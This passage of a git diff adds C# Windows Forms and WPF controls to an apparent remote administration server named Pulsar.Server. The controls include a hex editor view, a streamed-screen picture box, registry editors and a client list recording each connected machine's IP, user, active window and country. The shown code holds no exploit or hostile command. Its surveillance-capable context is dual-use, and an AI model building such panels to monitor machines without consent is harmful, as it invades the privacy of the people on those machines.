_editor.SetCaretEnd(index, position); + else + _editor.SetCaretStart(index, position); + } + } + else if (e.KeyCode == Keys.Left && (_editor.CaretIndex - 1) >= 0) + { + int index = _editor.CaretIndex - 1; + HandleArrowKeys(index, e.Shift); + } + else if (e.KeyCode == Keys.Right && (_editor.CaretIndex + 1) <= _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + HandleArrowKeys(index, e.Shift); + } + } + + public void HandleArrowKeys(int index, bool isShiftDown) + { + Point newLocation = GetCaretLocation(index); + if (isShiftDown) + _editor.SetCaretEnd(index, newLocation); + else + _editor.SetCaretStart(index, newLocation); + } + + #endregion + + #region Mouse + + public void OnMouseDown(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + iY = iY < 0 ? 0 : iY; + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretStart(index, new Point(xPos, yPos)); + } + + public void OnMouseDragged(int x, int y) + { + int iX = (x - _recStringView.X) / (int)_editor.CharSize.Width; + int iY = (y - _recStringView.Y) / _recStringView.Height; + + //Check that values are good + iX = iX > _editor.BytesPerLine ? _editor.BytesPerLine : iX; + iX = iX < 0 ? 0 : iX; + iY = iY > _editor.MaxBytesV ? _editor.MaxBytesV : iY; + + if (_editor.FirstVisibleByte > 0) + { + iY = iY < 0 ? -1 : iY; + } + else + { + iY = iY < 0 ? 0 : iY; + } + + //Make sure values are withing the given bounds + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= iY) + { + //Check that column is not greater than max + if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= iX) + { + iX = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine; + } + iY = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine; + } + + //Get the smallest possible location (do not want to exceed the max) + int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + iX + iY * _editor.BytesPerLine); + + int xPos = (iX * (int)_editor.CharSize.Width) + _recStringView.X; + int yPos = (iY * _recStringView.Height) + _recStringView.Y; + + _editor.SetCaretEnd(index, new Point(xPos, yPos)); + } + + public void OnMouseDoubleClick() + { + if (_editor.CaretIndex < _editor.LastVisibleByte) + { + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretEnd(index, newLocation); + } + } + + #endregion + + #region Focus + + public void Focus() + { + int index = _editor.CaretIndex; + Point location = GetCaretLocation(index); + _editor.SetCaretStart(index, location); + } + + #endregion + + #endregion + + #region Paint + + public void Update(int startPositionX, Rectangle area) + { + _recStringView = new Rectangle( + startPositionX, + area.Y, + (int)(_editor.CharSize.Width * _editor.BytesPerLine), + (int)(_editor.CharSize.Height) - 2 + ); + + _recStringView.X += _editor.EntityMargin; + } + + public void Paint(Graphics g, int index, int startIndex) + { + Point columnAndRow = GetByteColumnAndRow(index); + + if (_editor.IsSelected(index + startIndex)) + { + PaintByteAsSelected(g, columnAndRow, (index + startIndex)); + } + else + { + PaintByte(g, columnAndRow, (index + startIndex)); + } + } + + private void PaintByteAsSelected(Graphics g, Point point, int index) + { + SolidBrush backBrush = new SolidBrush(_editor.SelectionBackColor); + SolidBrush textBrush = new SolidBrush(_editor.SelectionForeColor); + RectangleF drawSurface = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.FillRectangle(backBrush, drawSurface); + g.DrawString(strValue, _editor.Font, textBrush, drawSurface, _stringFormat); + } + + private void PaintByte(Graphics g, Point point, int index) + { + SolidBrush brush = new SolidBrush(_editor.ForeColor); + RectangleF drawLocation = GetBound(point); + char value = _editor.GetByteAsChar(index); + string strValue = (Char.IsControl(value) ? "." : value.ToString()); + + g.DrawString(strValue, _editor.Font, brush, drawLocation, _stringFormat); + } + + #endregion + + #region Caret + + /// + /// Get the caret current location + /// in the given bound. + /// + private Point GetCaretLocation(int index) + { + int xPos = _recStringView.X + ((int)_editor.CharSize.Width * (index % _editor.BytesPerLine)); + int yPos = _recStringView.Y + ((int)_recStringView.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine)); + + Point ret = new Point(xPos, yPos); + return ret; + } + + #endregion + + #region Misc + + private void HandleUserRemove() + { + //Calculate where to position the caret after the removal + int index = _editor.SelectionStart; + Point position = GetCaretLocation(index); + //Remove all of the selected bytes + _editor.RemoveSelectedBytes(); + + //Set the new position of the caret + _editor.SetCaretStart(index, position); + } + + private void HandleUserInput(char key) + { + if (!_editor.CaretFocused) + return; + + HandleUserRemove(); + + byte newByte = Convert.ToByte(key); + + if (_editor.HexTableLength <= 0) + _editor.AppendByte(newByte); + else + _editor.InsertByte(_editor.CaretIndex, newByte); + + int index = _editor.CaretIndex + 1; + Point newLocation = GetCaretLocation(index); + _editor.SetCaretStart(index, newLocation); + } + + private Point GetByteColumnAndRow(int index) + { + int column = index % _editor.BytesPerLine; + int row = index / _editor.BytesPerLine; + + Point ret = new Point(column, row); + return ret; + } + + private RectangleF GetBound(Point point) + { + RectangleF ret = new RectangleF( + _recStringView.X + (point.X * (int)_editor.CharSize.Width), + _recStringView.Y + (point.Y * _recStringView.Height), + _editor.CharSize.Width, + _recStringView.Height + ); + + return ret; + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/InputBox.cs b/Pulsar.Server/Controls/InputBox.cs new file mode 100644 index 0000000..b86cf1e --- /dev/null +++ b/Pulsar.Server/Controls/InputBox.cs @@ -0,0 +1,54 @@ +using System; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public static class InputBox + { + public static DialogResult Show(string title, string promptText, ref string value) + { + DialogResult dialogResult = DialogResult.Cancel; + using (var form = new Form()) + { + Label label = new Label(); + TextBox textBox = new TextBox(); + Button buttonOk = new Button(); + Button buttonCancel = new Button(); + + form.Text = title; + label.Text = promptText; + textBox.Text = value; + + buttonOk.Text = "OK"; + buttonCancel.Text = "Cancel"; + buttonOk.DialogResult = DialogResult.OK; + buttonCancel.DialogResult = DialogResult.Cancel; + + label.SetBounds(9, 20, 372, 13); + textBox.SetBounds(12, 36, 372, 20); + buttonOk.SetBounds(228, 72, 75, 23); + buttonCancel.SetBounds(309, 72, 75, 23); + + label.AutoSize = true; + textBox.Anchor = textBox.Anchor | AnchorStyles.Right; + buttonOk.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + buttonCancel.Anchor = AnchorStyles.Bottom | AnchorStyles.Right; + + form.ClientSize = new Size(396, 107); + form.Controls.AddRange(new Control[] { label, textBox, buttonOk, buttonCancel }); + form.ClientSize = new Size(Math.Max(300, label.Right + 10), form.ClientSize.Height); + form.FormBorderStyle = FormBorderStyle.FixedDialog; + form.StartPosition = FormStartPosition.CenterScreen; + form.MinimizeBox = false; + form.MaximizeBox = false; + form.AcceptButton = buttonOk; + form.CancelButton = buttonCancel; + + dialogResult = form.ShowDialog(); + value = textBox.Text; + } + return dialogResult; + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/Line.cs b/Pulsar.Server/Controls/Line.cs new file mode 100644 index 0000000..4846381 --- /dev/null +++ b/Pulsar.Server/Controls/Line.cs @@ -0,0 +1,52 @@ +using Pulsar.Server.Models; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class Line : Control + { + public enum Alignment + { + Horizontal, + Vertical + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Alignment LineAlignment { get; set; } + + public Line() + { + this.TabStop = false; + this.BackColor = GetBackgroundColor(); + } + + protected override void OnPaint(PaintEventArgs e) + { + base.OnPaint(e); + e.Graphics.DrawLine(new Pen(new SolidBrush(Color.LightGray)), new Point(5, 5), + LineAlignment == Alignment.Horizontal ? new Point(500, 5) : new Point(5, 500)); + } + + protected override void OnPaintBackground(PaintEventArgs e) + { + using (var brush = new SolidBrush(GetBackgroundColor())) + { + e.Graphics.FillRectangle(brush, ClientRectangle); + } + } + + private Color GetBackgroundColor() + { + if (Settings.DarkMode) + { + return Color.FromArgb(43, 43, 43); + } + else + { + return this.BackColor; + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/ListViewEx.cs b/Pulsar.Server/Controls/ListViewEx.cs new file mode 100644 index 0000000..0fd8f24 --- /dev/null +++ b/Pulsar.Server/Controls/ListViewEx.cs @@ -0,0 +1,149 @@ +using Pulsar.Common.Helpers; +using Pulsar.Server.Helper; +using Pulsar.Server.Utilities; +using System; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; +namespace Pulsar.Server.Controls +{ + internal class AeroListView : ListView + { + private const uint WM_CHANGEUISTATE = 0x127; + private const short UIS_SET = 1; + private const short UISF_HIDEFOCUS = 0x1; + private readonly IntPtr _removeDots = new IntPtr(NativeMethodsHelper.MakeWin32Long(UIS_SET, UISF_HIDEFOCUS)); + + private const int WM_VSCROLL = 0x115; + private const int SB_BOTTOM = 7; + private const int SB_TOP = 6; + private const int WS_VSCROLL = 0x00200000; + private const int WS_HSCROLL = 0x00100000; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public ListViewColumnSorter LvwColumnSorter { get; set; } + + [DefaultValue(true)] + public bool AllowAutoSort { get; set; } = true; + + /// + /// Initializes a new instance of the class. + /// + public AeroListView() + { + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + this.LvwColumnSorter = new ListViewColumnSorter(); + this.ListViewItemSorter = LvwColumnSorter; + this.View = View.Details; + this.FullRowSelect = true; + + Resize += AeroListView_Resize; + } + + /// + /// Gets the creation parameters. + /// + protected override CreateParams CreateParams + { + get + { + CreateParams cp = base.CreateParams; + cp.Style |= WS_VSCROLL | WS_HSCROLL; // Always show both scrollbars + return cp; + } + } + + + private void AeroListView_Resize(object sender, EventArgs e) + { + if (Columns.Count == 0) return; + + int totalWidth = 0; + + for (int i = 0; i < Columns.Count - 1; i++) + { + totalWidth += Columns[i].Width; + } + + int newWidth = ClientSize.Width - totalWidth; + if (newWidth > 0) + { + Columns[Columns.Count - 1].Width = newWidth; + } + } + + /// + /// Refreshes the scrollbars to ensure they are properly displayed. + /// + public void RefreshScrollBars() + { + // Yes I chatGPT this I have no idea wtf is going on. + // Force scrollbars to update by sending scroll messages + if (IsHandleCreated) + { + // Scroll to bottom and then back to top to refresh vertical scrollbar + NativeMethods.SendMessage(this.Handle, WM_VSCROLL, (IntPtr)SB_BOTTOM, IntPtr.Zero); + NativeMethods.SendMessage(this.Handle, WM_VSCROLL, (IntPtr)SB_TOP, IntPtr.Zero); + + // Call UpdateScrollBars to ensure proper sizing + this.BeginUpdate(); + this.EndUpdate(); + } + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnHandleCreated(EventArgs e) + { + base.OnHandleCreated(e); + + NativeMethods.SetWindowTheme(this.Handle, "explorer", null); + NativeMethods.SendMessage(this.Handle, WM_CHANGEUISTATE, _removeDots, IntPtr.Zero); + + // Add this to refresh scrollbars after creation + this.BeginInvoke(new Action(() => RefreshScrollBars())); + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnResize(EventArgs e) + { + base.OnResize(e); + RefreshScrollBars(); + } + + /// + /// Raises the event. + /// + /// The instance containing the event data. + protected override void OnColumnClick(ColumnClickEventArgs e) + { + base.OnColumnClick(e); + if (!AllowAutoSort || this.LvwColumnSorter == null) + { + return; + } + // Determine if clicked column is already the column that is being sorted. + if (e.Column == this.LvwColumnSorter.SortColumn) + { + // Reverse the current sort direction for this column. + this.LvwColumnSorter.Order = (this.LvwColumnSorter.Order == SortOrder.Ascending) + ? SortOrder.Descending + : SortOrder.Ascending; + } + else + { + // Set the column number that is to be sorted; default to ascending. + this.LvwColumnSorter.SortColumn = e.Column; + this.LvwColumnSorter.Order = SortOrder.Ascending; + } + // Perform the sort with these new sort options. + if (!this.VirtualMode) + this.Sort(); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/MenuButton.cs b/Pulsar.Server/Controls/MenuButton.cs new file mode 100644 index 0000000..bf55397 --- /dev/null +++ b/Pulsar.Server/Controls/MenuButton.cs @@ -0,0 +1,54 @@ +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class MenuButton : Button + { + [DefaultValue(null)] + public ContextMenuStrip Menu { get; set; } + + [DefaultValue(false)] + public bool ShowMenuUnderCursor { get; set; } + + protected override void OnMouseDown(MouseEventArgs mevent) + { + base.OnMouseDown(mevent); + + if (Menu != null && mevent.Button == MouseButtons.Left) + { + Point menuLocation; + + if (ShowMenuUnderCursor) + { + menuLocation = mevent.Location; + } + else + { + menuLocation = new Point(0, Height - 1); + } + + Menu.Show(this, menuLocation); + } + } + + protected override void OnPaint(PaintEventArgs pevent) + { + base.OnPaint(pevent); + + if (Menu != null) + { + int arrowX = ClientRectangle.Width - Padding.Right - 14; + int arrowY = (ClientRectangle.Height / 2) - 1; + + Color color = Color.White; + using (Brush brush = new SolidBrush(color)) + { + Point[] arrows = new Point[] { new Point(arrowX, arrowY), new Point(arrowX + 7, arrowY), new Point(arrowX + 3, arrowY + 4) }; + pevent.Graphics.FillPolygon(brush, arrows); + } + } + } + } +} diff --git a/Pulsar.Server/Controls/NoButtonTabControl.cs b/Pulsar.Server/Controls/NoButtonTabControl.cs new file mode 100644 index 0000000..a945560 --- /dev/null +++ b/Pulsar.Server/Controls/NoButtonTabControl.cs @@ -0,0 +1,23 @@ +using System; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class NoButtonTabControl : TabControl + { + protected override void WndProc(ref Message m) + { + // Message 0x1328 is related to tab header drawing, we suppress it here. + if (m.Msg == 0x1328 && !DesignMode) + { + // Suppress the header (tab) drawing + m.Result = (IntPtr)1; + } + else + { + // Process other messages as usual + base.WndProc(ref m); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/RapidPictureBox.cs b/Pulsar.Server/Controls/RapidPictureBox.cs new file mode 100644 index 0000000..b1ae7b0 --- /dev/null +++ b/Pulsar.Server/Controls/RapidPictureBox.cs @@ -0,0 +1,301 @@ +using Pulsar.Server.Utilities; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing.Drawing2D; + +namespace Pulsar.Server.Controls +{ + public interface IRapidPictureBox + { + bool Running { get; set; } + Image GetImageSafe { get; set; } + + void Start(); + void Stop(); + void UpdateImage(Bitmap bmp, bool cloneBitmap = false); + } + + /// + /// Custom PictureBox Control designed for rapidly-changing images. + /// + public class RapidPictureBox : PictureBox, IRapidPictureBox + { + /// + /// True if the PictureBox is currently streaming images, else False. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool Running { get; set; } + + /// + /// Returns the width of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + [Browsable(false)] + public int ScreenWidth { get; private set; } + + /// + /// Returns the height of the original screen. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + [Browsable(false)] + public int ScreenHeight { get; private set; } + + /// + /// Provides thread-safe access to the Image of this Picturebox. + /// + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public Image GetImageSafe + { + get + { + lock (_imageLock) + { + return _frame; + } + } + set + { + lock (_imageLock) + { + var old = _frame; + _frame = value as Bitmap; + old?.Dispose(); + } + + RequestRepaint(); + } + } + + /// + /// The lock object for the Picturebox's image. + /// + private readonly object _imageLock = new object(); + + /// + /// Latest frame to draw. We avoid assigning to PictureBox.Image to prevent cross-thread UI access and allocations. + /// + private Bitmap _frame; + + /// + /// Small placeholder assigned to base.Image so existing code paths that check Image != null keep working. + /// + private Bitmap _placeholder; + + /// + /// Prevent flooding the message queue; coalesce multiple UpdateImage calls into one repaint. + /// + private bool _repaintPending; + + /// + /// The Stopwatch for internal FPS measuring. + /// + private Stopwatch _sWatch; + + /// + /// The internal class for FPS measuring. + /// + private FrameCounter _frameCounter; + + /// + /// Subscribes an Eventhandler to the FrameUpdated event. + /// + /// The Eventhandler to set. + public void SetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated += e; + } + + /// + /// Unsubscribes an Eventhandler from the FrameUpdated event. + /// + /// The Eventhandler to remove. + public void UnsetFrameUpdatedEvent(FrameUpdatedEventHandler e) + { + _frameCounter.FrameUpdated -= e; + } + + /// + /// Starts the internal FPS measuring. + /// + public void Start() + { + _frameCounter = new FrameCounter(); + + _sWatch = Stopwatch.StartNew(); + + Running = true; + } + + /// + /// Stops the internal FPS measuring. + /// + public void Stop() + { + _sWatch?.Stop(); + + Running = false; + } + + /// + /// Updates the Image of this Picturebox. + /// + /// The new bitmap to use. + /// If True the bitmap will be cloned, else it uses the original bitmap. + public void UpdateImage(Bitmap bmp, bool cloneBitmap) + { + try + { + CountFps(); + + if ((ScreenWidth != bmp.Width) || (ScreenHeight != bmp.Height)) + UpdateScreenSize(bmp.Width, bmp.Height); + + // Swap the frame without resizing; scaling is handled in OnPaint for speed. + lock (_imageLock) + { + var old = _frame; + _frame = cloneBitmap ? (Bitmap)bmp.Clone() : bmp; + old?.Dispose(); + } + + RequestRepaint(); + } + catch (InvalidOperationException) + { + } + catch (Exception) + { + } + } + + /// + /// Constructor, sets Picturebox double-buffered and initializes the Framecounter. + /// + public RapidPictureBox() + { + this.SetStyle(ControlStyles.UserPaint | ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, true); + + _placeholder = new Bitmap(1, 1); + _placeholder.SetPixel(0, 0, Color.Transparent); + base.Image = _placeholder; + } + + protected override void OnPaint(PaintEventArgs pe) + { + Bitmap localFrame = null; + lock (_imageLock) + { + if (_frame == null) + return; + localFrame = _frame; + } + + var g = pe.Graphics; + g.SmoothingMode = SmoothingMode.None; + g.CompositingMode = CompositingMode.SourceCopy; + g.CompositingQuality = CompositingQuality.HighSpeed; + g.PixelOffsetMode = PixelOffsetMode.Half; + g.InterpolationMode = InterpolationMode.NearestNeighbor; + + if (localFrame == null) + return; + + var cs = this.ClientSize; + if (cs.Width <= 0 || cs.Height <= 0) return; + + if (localFrame.Width == cs.Width && localFrame.Height == cs.Height) + { + g.DrawImageUnscaled(localFrame, 0, 0); + } + else + { + g.DrawImage(localFrame, this.ClientRectangle); + } + } + + protected override void OnPaintBackground(PaintEventArgs pevent) + { + if (this.BackColor.A == 255) + { + using (var b = new SolidBrush(this.BackColor)) + { + pevent.Graphics.FillRectangle(b, this.ClientRectangle); + } + } + else + { + base.OnPaintBackground(pevent); + } + } + + private void UpdateScreenSize(int newWidth, int newHeight) + { + ScreenWidth = newWidth; + ScreenHeight = newHeight; + } + + private void CountFps() + { + var deltaTime = (float)_sWatch.Elapsed.TotalSeconds; + _sWatch = Stopwatch.StartNew(); + + _frameCounter.Update(deltaTime); + } + + private void RequestRepaint() + { + if (_repaintPending) + return; + + _repaintPending = true; + + void doInvalidate() + { + if (!IsDisposed) + { + Invalidate(); + //Update(); + } + _repaintPending = false; + } + + if (IsHandleCreated && InvokeRequired) + { + try { BeginInvoke((Action)(doInvalidate)); } catch { _repaintPending = false; } + } + else + { + doInvalidate(); + } + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + lock (_imageLock) + { + _frame?.Dispose(); + _frame = null; + } + try + { + if (ReferenceEquals(base.Image, _placeholder)) + { + base.Image = null; + } + _placeholder?.Dispose(); + } + catch { } + finally + { + _placeholder = null; + } + } + base.Dispose(disposing); + } + } +} \ No newline at end of file diff --git a/Pulsar.Server/Controls/RegistryTreeView.cs b/Pulsar.Server/Controls/RegistryTreeView.cs new file mode 100644 index 0000000..379fd27 --- /dev/null +++ b/Pulsar.Server/Controls/RegistryTreeView.cs @@ -0,0 +1,13 @@ +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class RegistryTreeView : TreeView + { + public RegistryTreeView() + { + //Enable double buffering and ignore WM_ERASEBKGND to reduce flicker + SetStyle(ControlStyles.OptimizedDoubleBuffer | ControlStyles.AllPaintingInWmPaint, true); + } + } +} diff --git a/Pulsar.Server/Controls/RegistryValueLstItem.cs b/Pulsar.Server/Controls/RegistryValueLstItem.cs new file mode 100644 index 0000000..f20380a --- /dev/null +++ b/Pulsar.Server/Controls/RegistryValueLstItem.cs @@ -0,0 +1,75 @@ +using Pulsar.Common.Models; +using Pulsar.Server.Extensions; +using Pulsar.Server.Registry; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public class RegistryValueLstItem : ListViewItem + { + private string _type { get; set; } + private string _data { get; set; } + + public string RegName + { + get { return this.Name; } + set + { + this.Name = value; + this.Text = RegValueHelper.GetName(value); + } + } + public string Type + { + get { return _type; } + set + { + _type = value; + + if (this.SubItems.Count < 2) + this.SubItems.Add(_type); + else + this.SubItems[1].Text = _type; + + this.ImageIndex = GetRegistryValueImgIndex(_type); + } + } + + public string Data + { + get { return _data; } + set + { + _data = value; + + if (this.SubItems.Count < 3) + this.SubItems.Add(_data); + else + this.SubItems[2].Text = _data; + } + } + + public RegistryValueLstItem(RegValueData value) + { + RegName = value.Name; + Type = value.Kind.RegistryTypeToString(); + Data = RegValueHelper.RegistryValueToString(value); + } + + private int GetRegistryValueImgIndex(string type) + { + switch (type) + { + case "REG_MULTI_SZ": + case "REG_SZ": + case "REG_EXPAND_SZ": + return 0; + case "REG_BINARY": + case "REG_DWORD": + case "REG_QWORD": + default: + return 1; + } + } + } +} diff --git a/Pulsar.Server/Controls/StatsElementHost.cs b/Pulsar.Server/Controls/StatsElementHost.cs new file mode 100644 index 0000000..0a4d1da --- /dev/null +++ b/Pulsar.Server/Controls/StatsElementHost.cs @@ -0,0 +1,47 @@ +using System.Windows.Forms; +using System.Windows.Forms.Integration; +using Pulsar.Server.Controls.Wpf; +using Pulsar.Server.Statistics; + +#nullable enable + +namespace Pulsar.Server.Controls +{ + public sealed class StatsElementHost : ElementHost + { + private readonly StatsView _statsView; + private ClientStatisticsSnapshot? _lastSnapshot; + + public StatsElementHost() + { + _statsView = new StatsView(); + Child = _statsView; + Dock = DockStyle.Fill; + } + + public void ShowLoading() + { + _statsView.ShowLoading(); + } + + public void ShowError(string message) + { + _statsView.ShowError(message); + } + + public void UpdateSnapshot(ClientStatisticsSnapshot snapshot) + { + _lastSnapshot = snapshot; + _statsView.UpdateSnapshot(snapshot); + } + + public void ApplyTheme(bool isDarkMode) + { + _statsView.ApplyTheme(isDarkMode); + if (_lastSnapshot != null && !_lastSnapshot.HasError) + { + _statsView.UpdateSnapshot(_lastSnapshot); + } + } + } +} diff --git a/Pulsar.Server/Controls/WordTextBox.Designer.cs b/Pulsar.Server/Controls/WordTextBox.Designer.cs new file mode 100644 index 0000000..1b3a35c --- /dev/null +++ b/Pulsar.Server/Controls/WordTextBox.Designer.cs @@ -0,0 +1,36 @@ +namespace Pulsar.Server.Controls +{ + partial class WordTextBox + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Component Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + components = new System.ComponentModel.Container(); + } + + #endregion + } +} diff --git a/Pulsar.Server/Controls/WordTextBox.cs b/Pulsar.Server/Controls/WordTextBox.cs new file mode 100644 index 0000000..1c6fd65 --- /dev/null +++ b/Pulsar.Server/Controls/WordTextBox.cs @@ -0,0 +1,175 @@ +using Pulsar.Server.Enums; +using System; +using System.ComponentModel; +using System.Globalization; +using System.Windows.Forms; + +namespace Pulsar.Server.Controls +{ + public partial class WordTextBox : TextBox + { + private bool isHexNumber; + private WordType type; + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public override int MaxLength + { + get + { + return base.MaxLength; + } + set { } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public bool IsHexNumber + { + get { return isHexNumber; } + set + { + if (isHexNumber == value) + return; + + if (value) + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString("x"); + else + Text = ULongValue.ToString("x"); + } + else + { + if (Type == WordType.DWORD) + Text = UIntValue.ToString(); + else + Text = ULongValue.ToString(); + } + + isHexNumber = value; + + UpdateMaxLength(); + } + } + + [DesignerSerializationVisibility(DesignerSerializationVisibility.Hidden)] + public WordType Type + { + get { return type; } + set + { + if (type == value) + return; + + type = value; + + UpdateMaxLength(); + } + } + + public uint UIntValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt32.Parse(Text, NumberStyles.HexNumber); + else + return UInt32.Parse(Text); + } + catch (Exception) + { + return UInt32.MaxValue; + } + } + } + + public ulong ULongValue + { + get + { + try + { + if (String.IsNullOrEmpty(Text)) + return 0; + else if (IsHexNumber) + return UInt64.Parse(Text, NumberStyles.HexNumber); + else + return UInt64.Parse(Text); + } + catch (Exception) + { + return UInt64.MaxValue; + } + } + } + + public bool IsConversionValid() + { + if (String.IsNullOrEmpty(Text)) + return true; + + if (!IsHexNumber) + { + return ConvertToHex(); + } + return true; + } + + public WordTextBox() + { + InitializeComponent(); + base.MaxLength = 8; + } + + protected override void OnKeyPress(KeyPressEventArgs e) + { + base.OnKeyPress(e); + e.Handled = !IsValidChar(e.KeyChar); + } + + private bool IsValidChar(char ch) + { + return (Char.IsControl(ch) || + Char.IsDigit(ch) || + (IsHexNumber && Char.IsLetter(ch) && Char.ToLower(ch) <= 'f')); + } + + private void UpdateMaxLength() + { + if (Type == WordType.DWORD) + { + if (IsHexNumber) + base.MaxLength = 8; + else + base.MaxLength = 10; + } + else + { + if (IsHexNumber) + base.MaxLength = 16; + else + base.MaxLength = 20; + } + } + + + private bool ConvertToHex() + { + try + { + if (Type == WordType.DWORD) + UInt32.Parse(Text); + else + UInt64.Parse(Text); + return true; + } + catch (Exception) + { + return false; + } + } + } +} diff --git a/Pulsar.Server/Controls/Wpf/ClientListEntry.cs b/Pulsar.Server/Controls/Wpf/ClientListEntry.cs new file mode 100644 index 0000000..7f955b4 --- /dev/null +++ b/Pulsar.Server/Controls/Wpf/ClientListEntry.cs @@ -0,0 +1,176 @@ +using Pulsar.Server.Networking; +using Pulsar.Server.Utilities; +using System; +using System.ComponentModel; +using System.Runtime.CompilerServices; +using System.Windows.Media; + +#nullable enable + +namespace Pulsar.Server.Controls.Wpf +{ + public sealed class ClientListEntry : INotifyPropertyChanged + { + private string _ip = string.Empty; + private string _nickname = string.Empty; + private string _tag = string.Empty; + private string _userAtPc = string.Empty; + private string _version = string.Empty; + private string _status = string.Empty; + private string _currentWindow = string.Empty; + private string _userStatus = string.Empty; + private string _countryWithCode = string.Empty; + private string _country = string.Empty; + private string _operatingSystem = string.Empty; + private string _accountType = string.Empty; + private bool _isFavorite; + private string _toolTip = string.Empty; + private int _imageIndex; + private ImageSource? _flagImage; + + public ClientListEntry(Client client) + { + Client = client ?? throw new ArgumentNullException(nameof(client)); + } + + public event PropertyChangedEventHandler? PropertyChanged; + + public Client Client { get; } + + public string Ip + { + get => _ip; + set => SetField(ref _ip, value); + } + + public string Nickname + { + get => _nickname; + set => SetField(ref _nickname, value); + } + + public string Tag + { + get => _tag; + set => SetField(ref _tag, value); + } + + public string UserAtPc + { + get => _userAtPc; + set => SetField(ref _userAtPc, value); + } + + public string Version + { + get => _version; + set => SetField(ref _version, value); + } + + public string Status + { + get => _status; + set => SetField(ref _status, value); + } + + public string CurrentWindow + { + get => _currentWindow; + set => SetField(ref _currentWindow, value); + } + + public string UserStatus + { + get => _userStatus; + set => SetField(ref _userStatus, value); + } + + public string CountryWithCode + { + get => _countryWithCode; + set => SetField(ref _countryWithCode, value); + } + + public string Country + { + get => _country; + set => SetField(ref _country, value); + } + + public string OperatingSystem + { + get => _operatingSystem; + set => SetField(ref _operatingSystem, value); + } + + public string AccountType + { + get => _accountType; + set => SetField(ref _accountType, value); + } + + public bool IsFavorite + { + get => _isFavorite; + set => SetField(ref _isFavorite, value); + } + + public string ToolTip + { + get => _toolTip; + set => SetField(ref _toolTip, value); + } + + public int ImageIndex + { + get => _imageIndex; + set => SetField(ref _imageIndex, value); + } + + public ImageSource? FlagImage + { + get => _flagImage; + set => SetField(ref _flagImage, value); + } + + public Brush StatusBrush => string.Equals(Status, "Connected", StringComparison.OrdinalIgnoreCase) + ? Brushes.LimeGreen + : Brushes.White; + + public Brush VersionBrush => string.Equals(Version, ServerVersion.Current, StringComparison.OrdinalIgnoreCase) + ? Brushes.Green + : Brushes.Red; + + public void UpdateStatusBrush() + { + 